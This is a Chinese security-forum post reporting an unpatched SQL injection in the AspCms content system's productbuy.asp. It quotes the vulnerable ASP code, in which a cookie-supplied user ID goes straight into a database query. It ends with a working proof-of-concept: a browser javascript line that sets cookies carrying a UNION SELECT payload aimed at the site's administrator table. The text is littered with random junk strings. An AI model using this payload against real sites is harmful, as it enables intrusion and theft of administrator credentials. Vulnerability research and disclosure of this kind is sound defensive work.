好久没上土司了,上来一看发现在删号名单内.....
/ H6 o0 `4 F3 G9 S也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。/ P- N! N* l- {9 j+ w
废话不多说,看代码:% |& o8 a6 h) |7 Z/ f4 \! {( F
4 b( G, E# F+ T3 v4 ]<%- i5 C7 S4 q q0 K" ^+ q4 T& ~9 P2 a
* t0 I' A) Z P% o9 I8 L8 jif action = "buy" then
# V3 z8 C% @. E0 d% S# R- [& \. P! J- ~& J7 F! u7 r
addOrder()
9 H6 M$ J, z7 v( Z! o1 c3 `4 p8 L N( C2 o# m! Z! E
else1 ^* s) B! L4 i# V: s7 u
) G, A7 Z5 k2 E+ `. Z g2 Z% N echoContent()
, }) A, ^! ?$ G" f" `+ S
5 @; w/ l% T* A7 ?end if% m. _' P' d3 G. c
! u+ f; d4 x1 C: X
2 }3 g2 }5 n& p V+ l f5 v
" W6 I5 Y+ B# k7 _! x……略过5 N' r6 J% Z+ [: e
4 S+ o* A/ Q/ g2 G4 ~- z3 f9 U( A$ |0 U4 ?" K
6 ?1 p7 q% R* F; j1 S3 hSub echoContent()5 g0 q' Q, G* L: L2 |1 D/ z
: H* L8 e" F4 o ]
dim id
D9 g, T# o, y E. B3 T
9 j% t6 Z) h1 y; ^6 E* M id=getForm("id","get")2 f% q n" k' Z' X. d9 e; n6 Y3 t
) s5 F* t# u+ U( Z# g% f/ V
* u; w2 h; W3 h- J$ c
4 N" _ B! e% q. N3 o7 _( A; I if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
1 z2 t9 N6 X" x9 J0 Z, a
5 }6 o2 O4 }( r0 l+ E( d$ b: k- z0 @
; e( u% p/ [$ g" M: P7 y( i6 Q) L& r1 {: i1 A; w: m
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
% O% b2 u( m: o% Q1 B/ Y
* Z7 v7 q1 O8 m dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct' l/ [5 v" n2 K
: H$ w# |1 e9 r4 u Dim templatePath,tempStr0 Z' M& E- b( B& G, [% t7 T# b
0 P* R9 \# Q5 R) G: K
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html" C. o$ z, h! W& L6 ~ H; p
3 z4 J8 D1 \' X9 J* d. n$ R* ]! S. ^
# f _/ S; e2 H* ^4 D set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
4 Q3 O9 Z+ R L# D% s, l/ }
7 M* R9 z& D$ j! ?) U selectproduct=rsObj(0)
* D: _" m$ _& `8 V7 @, a9 O: k$ i+ ?9 ^9 W7 Y7 a
, s+ d6 ~. K9 u0 |" N2 Z: G2 ]5 d3 m& t' B
Dim linkman,gender,phone,mobile,email,qq,address,postcode
" n5 x1 a" J5 H* _( N& N9 z/ I3 P& P# ^1 X( `% B1 y& Z
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0) L1 ]9 c9 b% o
y. l1 A+ z) D5 _2 H9 w4 b( R& P if rCookie("loginstatus")=1 then
7 ~2 `7 B& x( [% Y8 P. j$ `
$ a- r1 V( E: V$ @) B/ K set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")7 T$ i, E, \* d
' Y% `: [" W: L; ^ linkman=rsObj("truename")
# \9 F, ^6 |5 p" v' P- a6 b( @* x& p2 k* j: H$ {
gender=rsObj("gender")# `( `( k2 h# j x3 ?6 ~- W
, t4 }5 N$ \( I8 B' b6 k; `4 f) m phone=rsObj("phone")* K6 ]) D+ d& s& L+ T1 a! y
1 g a4 l. X0 ]0 Q
mobile=rsObj("mobile")
: A! h- B$ h( v: C: x: O9 w# Q! ]: k+ y" @% ^0 W
email=rsObj("email") E* @$ f! v( O% Y. \' o' a
' z" {. O! ^8 d& m/ V1 p
qq=rsObj("qq")
) R5 u0 {4 q- Y/ q
0 S. X& N+ Y+ T+ Z address=rsObj("address")
+ o& N) c' c- Z1 U' W. |2 }; {/ G0 Z1 \2 G
postcode=rsObj("postcode")+ M9 L: c: E9 O
; j+ T9 \3 }+ A# i, E else $ |" o! h6 h1 d, I
+ y$ P. W' a9 c. E, l7 \
gender=1! m8 ?( h8 V$ q" G p
& c9 c& t3 e3 A; V0 i9 X
end if# m$ R& P: u3 B0 w/ [' F/ s% E3 R
, [5 p! Q* d) Z7 h6 O8 m rsObj.close()& B# P+ s% s) s7 j9 c2 Y
* u. U: ^( G; U& k L2 G
6 K- G) j' t: b: J$ p
# I& }& t2 }) v with templateObj + x' X G& s5 E" X
3 m! W5 j* ?0 Y .content=loadFile(templatePath)
; c: ? T J3 A6 O) A# F* C6 Z$ \
.parseHtml() w0 U0 \3 T8 x2 X5 o2 {
% ^9 v- s+ g2 ?3 f& }8 ] .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
0 O6 K( t1 E' j$ ^( w. u/ O2 }: N2 p$ n9 I, N# a' l" p( Z& g
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
% ]; n( y; y( o5 @; O, p7 [ c c8 Z) v6 a9 ]
.content=replaceStr(.content,"[aspcms:gender]",gender)
: A0 h$ V0 C- H0 M! C7 K3 A. }/ p. g+ r7 h" p; ^6 A+ j
.content=replaceStr(.content,"[aspcms:phone]",phone) 9 ?5 S# o, g, s% v
2 G3 ]. F! W, W @% k. q: H. f
.content=replaceStr(.content,"[aspcms:mobile]",mobile) ) K( w: G( B2 @8 ]/ U- x0 d' m( q5 y
( C0 \# W) [" H- ~
.content=replaceStr(.content,"[aspcms:email]",email) * Y' Q; L6 R( T
& ^$ {8 ]5 @' O6 D+ w& K
.content=replaceStr(.content,"[aspcms:qq]",qq) 6 _: U r$ R1 [4 L' s5 u7 j8 H
$ O# u; N( x5 R" w" a8 a
.content=replaceStr(.content,"[aspcms:address]",address) ' a2 W Z" \8 i2 ^' U
2 q$ \' V9 j5 A9 L- j2 L .content=replaceStr(.content,"[aspcms:postcode]",postcode) # ~' ?; [; n2 A4 E- S
?1 |/ G, K, m; M6 p2 \
.parseCommon() * M; ^ x% C; R2 D" G
% z7 V" \4 w$ c% v3 U( H1 a. J echo .content Q. Q6 V3 v" I+ z$ Y- ^
y' \. f5 I. K end with
3 G, v7 }) { P9 @" V! X) n5 X1 M7 R; K7 E- T0 y- D9 Z; N; @
set templateobj =nothing : terminateAllObjects: X) T$ q- ^% k+ f
5 L: L2 B9 V% q) Q4 a0 H4 a {1 g
End Sub$ D& e$ Q. c( @4 e2 v$ _/ @
漏洞很明显,没啥好说的" S! f8 F. s, R9 R# m/ ?! a2 C( I
poc:
7 N, C- J2 s! J* _+ R2 z. z
- A1 g6 y* g" K; g! F" k" Ijavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子0 `- [+ V% W& P5 O+ }" k- c
. A0 I$ z! q3 v6 f9 D! U# m
|